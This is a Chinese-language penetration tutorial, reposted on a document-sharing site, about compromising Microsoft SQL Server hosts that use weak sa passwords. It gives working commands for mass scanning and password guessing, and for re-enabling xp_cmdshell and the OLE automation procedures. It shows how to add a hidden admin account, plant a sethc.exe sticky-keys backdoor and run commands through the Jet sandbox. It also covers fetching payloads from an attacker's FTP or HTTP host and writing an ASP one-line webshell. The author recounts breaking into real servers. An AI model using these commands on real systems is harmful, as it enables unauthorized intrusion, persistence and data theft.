初试渗透看我无痛学习攻击SQL.docx

上传人:b****5 文档编号:4447537 上传时间:2022-12-01 格式:DOCX 页数:20 大小:594.25KB
下载 相关 举报
初试渗透看我无痛学习攻击SQL.docx_第1页
第1页 / 共20页
初试渗透看我无痛学习攻击SQL.docx_第2页
第2页 / 共20页
初试渗透看我无痛学习攻击SQL.docx_第3页
第3页 / 共20页
初试渗透看我无痛学习攻击SQL.docx_第4页
第4页 / 共20页
初试渗透看我无痛学习攻击SQL.docx_第5页
第5页 / 共20页
点击查看更多>>
下载资源
资源描述

初试渗透看我无痛学习攻击SQL.docx

《初试渗透看我无痛学习攻击SQL.docx》由会员分享,可在线阅读,更多相关《初试渗透看我无痛学习攻击SQL.docx(20页珍藏版)》请在冰豆网上搜索。

初试渗透看我无痛学习攻击SQL.docx

初试渗透看我无痛学习攻击SQL

撰文目的:

提升国人对信息安全的了解与防范,对于服务器的安全架构管理,得有高度的安全意识,若你是基于破坏盗取的心态来研讨,请你自重

在浏览文章以前,你需要掌握以下些许概念,在阅读过程中是比较轻松许多的

基础的网络运作原理,网络端口的了解

系统相关漏洞信息

网络软件的熟悉及应用

SQL资料库已经普遍存於个大小伺服器,将探讨弱密码的攻击守法、防御与获得最高权限帐户时,提权的常见问题等

本研讨不以抓鸡的目的为主要的讨论,将探讨些命令的应用与个人经验的分享

应用到的跳板环境为:

MicrosoftWindowsServer2003R2ServicePack2韩体

应用到的扫瞄环境为:

MicrosoftWindowsServer2003R2ServicePack2繁体

应用到的分析环境为:

MicrosoftWindowsServer2003R2ServicePack2繁体

应用到的工具为:

s扫瞄、Xscan密码猜解、sqlr命令提交、SQL综合利用工具

撰文:

foxy.lin.twhack

                  

截图:

foxy.lin.twhack

很多骇客总常抱着一种想法:

「若我电脑开着,密码字典挂上..不用多久就能获得好多服务器与个人电脑」

不能说完全错误,毕竟这不算是正规的技术探讨与应用范围,纯属於个人的管理不当与疏忽导致遭侵入

很多朋友客气地问小狐:

「拿到了SQL资料库的最高权限帐户了,怎麽XP_Cmdshell不能使呢?

初步的分析错误讯息,哦?

被关闭了..试着用命令开启,也顺利拿到了权限

我问:

「这应该是基本的技巧哦,是不是哪里思路不对了..才没成功的?

当我听到这位朋友回答竟是:

「不是所有的SQL连接上就能使了麽?

这服务器真差啊」

好,今天与大家分享一些个人应用经验..旧技术、差思路,希望大家不吝指教与提出意见

小狐常在渗透一台伺服器以後,总会发现还有其他骇客朋友亦成功渗入,甚至利用伺服器开始扫瞄

逐一点击察看,哇!

一个扫瞄文本至少存了数百条的IP位置

其实这样不大恰当也不和效益比的,怎麽说呢?

通常这种大范围的扫瞄与猜解,耗时多为3小时起跳的,而在大量的结果中分析时

很多的SQL伺服器可能因管理的因素或其他扫瞄丧尸的猜解,导致短暂的无法接入甚至是崩溃等

较为理想的扫瞄范围可以试着选择纯真数据9段左右的量,良好的网路状况下通常约10来分就完成了

过於庞大的扫瞄数据段亦会影响整体网路的效率,这点得多注意

网路上充斥许多所谓的”1433自动抓鸡器”、”1433批量全自动传马”...等的工具利用

不能完全否定他们的价值,有心人肯写出自动化的工具来使用,也是非常值得赞许的

但,该认识的相关原理与防御方法,可不能因全自动化的工具应用便完全不懂

而自动化的工具呢,通常猜解的密码字典只有空密码而已,这也是不大合手的一个原因

大量的字典的确能相对增加成功量,但相对的时间成本也得付出,鱼与熊掌就看怎麽取舍了

上图便是s扫描器开始寻找存活且允许外部连接数据库的伺服器,快速地扫瞄性能是它的优点

余扫瞄的耗时中,我们来简单认识看看网上常见的批处理

第一行的程式碼:

批处理运行时,会读取同目录底下的IPS.txt这个文本,是用来存取欲扫瞄的IP范围

第二行的程式碼:

呼叫系统命令「暂停」,提示使用者键入任何字元继续下一步

第三行的程式碼:

共设置了两个扫瞄选项供使用,分别为SYN连接与TCP连接扫瞄

第四行的程式碼:

一个IF的逻辑判断,并分别将扫瞄方式设置为选项1与选项a2

第五行的程式碼:

一个IF的逻辑判断,若是选择了第一个选项,将进入设置好的SYN扫瞄命令

第六行的程式碼:

一个IF的逻辑判断,若是选择了第二个选项,将进入设置好的TCP扫瞄命令

第七行到第九行的程式碼:

一个FOR的循环利用,将s扫瞄初步的结果result.txt逐步整理为单纯IP列,并将结果存为同目录底下的s.txt

第十行的程式碼:

呼叫同目录底下的xscan密码猜解

第十一行的程式碼:

删除同目录底下的扫瞄暂存文档

第十二行的程式碼:

离开批处理

很简洁的批处理内容,经过小狐的删减就成这样了..发现作者原写的自动传马有问题,删除了..

很快地,xscan便会开始读取密码字典档并将结果输出到同目录底下的log资料夹里

打开log资料夹里的s_txt_report.htm纪录,里面详尽了存有疏失的伺服器位置、帐号、密码

好,开工了哦..在开始连接伺服器的SQL服务前,可以先自行判断该伺服器是否有开启3389终端服务

运气好地遇上了有开启终端服务,便会非常容易..反之,得多费点心去分析、利用

以下伺服器环境为:

MicrosoftWindowsServer2003R2ServicePack2繁体

所应用的SQL数据库版本为:

SQLSERVER2005

3389终端管理服务已启动

只需要新增一个系统用户便可以达成,开启SQL综合利用工具连上它..

於执行DOS命令选项下,开使确认XP_Cmdshell是否存活

遇到此类状况,可以判定该伺服器采用了SQLSERVER2005的版本

SQLSERVER2005的版本因安全性考量,默认禁用了XP_Cmdshell、Sp_Oacreate...等许多敏感扩展

是不是遇到这样就没戏了呢?

别放弃,SQL还是有命令支援更改选项的哦

EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;

Sp_configure为SQL的选项变更命令,要求的权限为最高权限始能更改,上方引用的命令的意思大抵为开启进阶选项并将名为XP_cmdshell的扩展开启

注意,这里的1表开始使用,反之呢..0即表关闭禁止

於反馈讯息得知更改选项与开启扩展成功..新增系统用户,登入终端

该伺服器为台湾的一个地震测值分析伺服器..嗯,感觉挺特别的

SQLSERVER2005该怎麽把这个疏失改善呢?

若你是管理,就请把帐户的密码设置成复杂且定期更新

渗透呢..其实,有时候遇到这种版本的的数据伺服器,小狐都直接进行权限的划分

因为SQL服务默认是以SYSTEM的系统高权限来启动,所以当调用到Cmd.exe时,所划分的权限亦为SYSTEM

上图利用NTFS的硬盘系统格式的安全设定,对SYSTEM此身份完全禁止存取

优点就是..嗯,方便很多,进入终端以後便可以更改

但,相对的缺点..有时候Cmd的工作模式会受影响便是了,如Sethc後门调用了Cmd.exe即是

曾经试过更名敏感扩展所需要的DLL档的名称,但发现毫无效果..

这方面更多的安全方案,还希望有人愿意指导不才

接下来,将继续探讨更多例子..

以下伺服器环境为:

MicrosoftWindows2000ServicePack4繁体

所应用的SQL数据库版本为:

SQLSERVER2000

3389终端管理服务已启动

哦?

或许你会喷饭或是被口水呛到等

起先也是连上SQL综合利用工具想来新增帐号,但怎麽登入便是提示密码错误

刚扫瞄完没多久呢,这麽快就改密码了?

啧啧,这管理员一定很细心而且很勤劳

大错特错

既然3389终端服务开启了,我们也无从利用SA来下手..便顺手在帐号栏键入Administrator

又这麽顺手的按下Enter,更是顺手的进了服务器

在此再提醒一次,即使你可能使用的系统为Xp或是更高,但系统帐号的密码是不能马虎的

这洞..不知道该怎麽修补好?

改了系统密码,管理进不去又碍事..设定自动登入,又可能起疑心

不管了..继续看下一个例子

以下伺服器环境为:

MicrosoftWindowsXPProfessionalServicePack3繁体

所应用的SQL数据库版本为:

SQLSERVER2005

3389终端管理服务已启动

通常扫瞄弱口令,XP系统也还满常遇到的,通常不建议搞,一来浪费时间,二来容易崩溃或无法连接

XP系统的3389终端服务是不允许多用户连接的,若有人尝试登入,本地便会弹出是否允许登出的对话匡

还是可以透过替换本地相关服务的文件达到双用户登入的目的,此不为本篇讨论..简单带过就可以了

若遇到的SQL版本为2000,可以将敏感扩展所调用的DLL名称更改,不改密码亦能防止再被入侵的问题

继续下一个例子,这较为棘手许多了..也是最常见的情境,接着看下去

以下伺服器环境为:

MicrosoftWindowsServer2003R2ServicePack2韩体

所应用的SQL数据库版本为:

SQLSERVER2000

3389终端管理服务尚未启动或是默认端口已修改

好,连上SQL综合利用工具..开始判定XP_Cmdshell是否存活

XP_Cmdshell被关闭了,打开SQL2000自带的分析器,开始使用命令来开启它

execsp_addextendedprocxp_cmdshell,@dllname='xplog70.dll'

上列语句可理解为调用到Sp_addextendedproc这扩展来恢复XP_Cmdshell,并将XP_Cmdshell调用的核心Dll指向名为xplog70.dll

哦?

看来根据反馈信息,我们可以发现初试恢复并不成功

很多朋友到这一步,便放弃了下一步..其实细心点搜寻,还是可以发现,我们可以恢复Sp_addextendedproc

createproceduresp_addextendedproc---1996/08/3020:

13

@functnamenvarchar(517),/*(owner.)nameoffunctiontocall*/@dllnamevarchar(255)/*nameofDLLcontainingfunction*/as

setimplicit_transactionsoff

if@@trancount>0

begin

raiserror(15002,-1,-1,'sp_addextendedproc')

return

(1)

end

dbccaddextendedproc(@functname,@dllname)

return(0)--sp_addextendedproc

GO

键入分析器以後提交,反馈命令成功完成了..这时再提交开启XP_Cmdshell的语句便不报错

很幸运地,XP_Cmdshell可以使用,透过最高系统权限调用Cmd,确定该伺服器没有开启终端管理

那就热心地帮他开一个搂,他不会和你抱怨的,就算会..你也听不到的!

说开就开吧

透过SQL综合利用工具自带的上传功能初步试着上传开终端的文件到伺服器的C分区上,没有上传成功

这种问题是很常见的,不是一拿到高权限帐号便可一股脑地将文件塞到伺服器上头

有时的设置会不允许直接的上传,此时..我们得拐点湾来达到目的

常见的下载方式有哪些?

想到哪几种了呢..HTTP、FTP、TFTP此三种协议是最为常见的

又以HTTP与FTP这两种协议最频繁利用了,可以透过系统命令ECHO来写入所需的资讯

上图便是透过FTP协议下载的所需资讯..简单的讲解一下个行命令

第一行命令:

在调用FTP以後,将会读取此ftp文本第一行命令Openwww.Your_FTP_H

第二行与第三行命令:

分别为登入的帐号密码

第四行命令:

将下载的传输模式更改为二进制模式,下载文件时事较为实际迅速的

第五行命令:

将下载的目录设置为本地的C分区

第六行命令第七行命令:

皆为欲下载的文件名,注意路径需正确,否则是白忙的哦

第八行命令:

下载动作完成後,离开ftp

第九行命令:

利用Cmd来调用FTP,并将指定为读取文本方式工作

不一会的时间,会在C分区找到所下载回来的文件..依序执行你想要的动作即可

有些伺服器会设置了ftp的访问,可能在SYSTEM的高权限底下亦无法使用..还有其他方法供使用的

另一个方法便是利用了HTTP协议下载,说穿了..便是VBS的脚本利用,下图将略过程式码的解说,有兴趣的朋友不妨多查询相关资料

注意底下Cscript的调用格式:

VBS所在位置http:

//www.Your_File_H储存位置

这类的脚本在应用上是比较有弹性的,只需要更改欲下载的档案名与位置便行了,很方便使用的哦

有没有问题想发问?

啊..没有事吗?

不觉得..这些协议所需要键入的资讯很冗长?

即使是利用ECHO命令一一键入,少说也需10来次的,有人就会想偷懒啦

这麽容易,直接把内容全部贴近SQL综合利用工具里,再点执行..哈哈!

大功告成,收鸡去

「真的有这麽容易就好了」我又喝着咖啡..讪讪地笑着

透过SQL综合利用工具ECHO命令呢,只允许一个执行一个ECHO哦..通通贴近去的话,它是不会鸟你的

是是是..别暗地偷骂小狐不厚道,锵锵锵锵..接着为大家带来一个不错的小工具登场:

sqlr命令提交

此工具为小榕先生开发的工具:

流光,所分离出来的工具,在XP_Cmdshell存活的条件下,允许透过文本读取的方式提交命令给伺服器

哦?

文本的读取..那就代表,当小狐利用sqlr成功连接後,就可以快速地回应冗长的命令给伺服器了

Sqlr可是一句不差地执行完成哦..对於讲求效率的朋友,不妨可以试试小狐提供的小技巧

很快地,权限便可以拿到手了

以上三种例子皆为XP_Cmdshell存活的状况下实行入侵的,有经验的管理会将该扩展的DLL改名或删除

但在有限的条件下,细心地去挖掘任何可以利用的,便会发现能获得许多哦

以下几个例子刁钻很多,也是小狐常碰到的麻烦伺服器设置,绑紧安全带、滑鼠握好,跟我一起上路吧

以下伺服器环境为:

MicrosoftWindowsServer2003R2ServicePack2繁体

所应用的SQL数据库版本为:

SQLSERVER2000

3389终端管理服务已启动

初试连接SQL综合利用工具,顺利登入..确定XP_Cmdshell未被开启,照前步骤进行恢复,反馈讯息为

确定XP_Cmdshell调用的核心Dll已经无法恢复与使用,怎麽使呢?

终端已开启,得加个帐号

以SA身份连上分析器,以下将介绍另一个危害极大的敏感扩展

declare@shellintexecSp_oacreate'Wscript.shell',@shelloutputexecSp_oamethod@shell,'run',null,'c:

\windows\system32\cmd.exe/cnetuserfoxy.lin.twhack$Sql_scAN*/add'

上列语句含有两个重要的扩展调用Sp_oacreate与Sp_oamethod,在伺服器允许利用Wscript.shell组件下,另行调用出系统Cmd来执行命令

透过前几步骤恢复命令的方式,依序键入以下命令恢复此两组件的使用

execsp_addextendedprocSp_OACreate,'odsole70.dll

execsp_addextendedprocSp_OAMethod,'odsole70.dll'

从以上命令便可得知此两组件的核心调用Dll指向odsole70.dll,只要这Dll未被删除或改名..便可以利用

有时候会发现用户添加不成功,有可能是权限的设置或安全密码的限制,可以利用Sethc後门的思路

declare@ointexecSp_oacreate'scripting.filesystemobject',@ooutexecSp_oamethod@o,'copyfile',null,'c:

\windows\system32\cmd.exe','c:

\windows\system32\sethc.exe';

declare@oointexecSp_oacreate'scripting.filesystemobject',@oooutexecSp_oamethod@oo,'copyfile',null,'c:

\windows\system32\sethc.exe','c:

\windows\system32\dllcache\sethc.exe';

从上句命令可以理解将Cmd与Sethc进行绑定,於终端画面连按Shift五次便可以调用出Cmd来使用

有没有发现?

当伺服器开始3389终端管理服务以後,顺利渗透的成功率很高的,所以..改端口吧

而得特别注意的是..调用Sp_oacreate与Sp_oamethod成功後呢,Cmd的命令是不会反馈的,这得注意

假若3389终端服务没有开启呢?

嗯,就是ECHO的地狱深渊了..懂意思吧

最後两个例子,可以说是常见的变态SA挑战任务中的剧情,不好搞,也得拿出恒心来,跟上了哦

以下伺服器环境为:

MicrosoftWindowsServer2003R2ServicePack2繁体

所应用的SQL数据库版本为:

SQLSERVER2000

3389终端管理服务已启动

确定XP_Cmdshell所需Dll已不存在、Sp_oacreate与Sp_oamethod调用的Dll亦不存在..

这是什麽意思呢?

便代表调用Cmd的形式是少之又少、难上加难了..试着看看以下的利用技巧

execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

上句的命令使用到xp_regwrite这扩展来修改系统的注册档资讯,有见过的人应该都知道..这是安全模式

网上有更详细介绍他的攻击原理,想深入研究探讨的朋友不妨试着搜寻看看

假若出现以下讯息,可以透过以下命令进行开启..xp_regwrite调用的核心Dll为xpstar.dll

execsp_addextendedprocxp_regwrite,'xpstar.dll'

好,成功地更动了注册表值,安全模式已经开启了,开始下一步的命令了哦

select*fromopenrowset('microsoft.jet.oledb.4.0',';database=c:

\windows\system32\ias\ias.mdb','selectshell("cmd.exe/cipconfig/all>c:

\net.txt")')

调用系统目录底下的ias\ias.mdb,并透过其SYSTEM权限执行系统命令

注意上图,系统反馈的值可能有所不同,通常得到此类讯息便可以确定成功执行了

当然,资料库可以不强制为ias.mdb,也可以是同目录底下的dnary.mdb,此两中皆为默认自带的

有人会发问,倘若遇到需要利用安全模式的伺服器,系统为2000呢?

系统为2000,小狐搜寻过不少甚透过的主机文件,似乎没有自带了此两种数据

但也灰心因此不再利用,於2000的IIS中,小狐发现了个惊喜

C:

\Inetpub\iissamples\sdk\asp\database\authors.mdb,便是一个IIS自带的数据库哦

适用於有安装SQL与IIS的2000系统来利用,这是网上相关文章没有提到的部分

最後一个例子..便是变态中的变态、恐怖中的恐怖、恶梦中的恶梦了

以下伺服器环境为:

MicrosoftWindowsServer2000ServicePack4繁体

所应用的SQL数据库版本为:

SQLSERVER2000

3389终端管理服务尚未启动或是默认端口已修改

确定XP_Cmdshell所需Dll已不存在、Sp_oacreate与Sp_oamethod调用的Dll亦不存在..

而且,开启安全模式的方法无法使用,能直接利用的方法都使不上了哦..

3389终端管理服务也没有开启或是被更改端口,是棘手中的棘手了,跟着我往下破关

直接於IE网址栏输入该存有若口令的主机IP位置

呵呵,是IIS的默认页面哦..这样的话便简单不少了,立刻连上分析器查询

execmaster.dbo.xp_subdirs'c:

\'

知道了路径,就来写入小马吧!

调用了Sp_makewebtask扩展,注意此使用的身份得为SA才行

execsp_makewebtask'c:

\Inetpub\wwwroot\fox.asp','select''<%execute(request("fox"))%>'''

讯息反馈了命令成功完成

上传大马,利用木马本身的上传组件将你想利用的扩展所需Dll上传上去,恢复路径改为上传的位置即可

仅以以上几个较为常见的例子做说明,此类的攻防应用广、思路多,还希望大家多多切磋指教的

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 高中教育 > 英语

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1